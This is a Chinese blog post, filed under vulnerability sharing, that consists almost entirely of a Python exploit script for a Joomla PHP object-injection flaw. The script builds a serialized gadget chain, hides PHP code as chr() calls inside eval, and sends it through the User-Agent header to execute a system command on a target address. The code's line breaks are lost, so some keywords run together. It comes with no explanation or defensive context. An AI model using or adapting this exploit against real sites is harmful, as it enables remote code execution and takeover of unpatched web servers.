- A+
所属分类:漏洞分享
import requests # easy_install requestsdef get_url(url, user_agent):headers = {'User-Agent': user_agent}cookies = requests.get(url,headers=headers).cookiesfor_ in range(3):response = requests.get(url, headers=headers,cookies=cookies)returnresponsedef php_str_noquotes(data):"Convert string to chr(xx).chr(xx) for use in php"encoded =""forchar in data:encoded +="chr({0}).".format(ord(char))returnencoded[:-1]def generate_payload(php_payload):php_payload ="eval({0})".format(php_str_noquotes(php_payload))terminate ='\xf0\xfd\xfd\xfd';exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''injected_payload ="{};JFactory::getConfig();exit".format(php_payload)exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}'''+ terminatereturnexploit_templatepl = generate_payload("system('touch /tmp/fx');")get_url("http://172.31.6.242/", pl)http://www.oistc.com/webapp/webapp_1237.html?
- 我的微信
- 这是我的微信扫一扫
-
- 我的微信公众号
- 我的微信公众号扫一扫
-



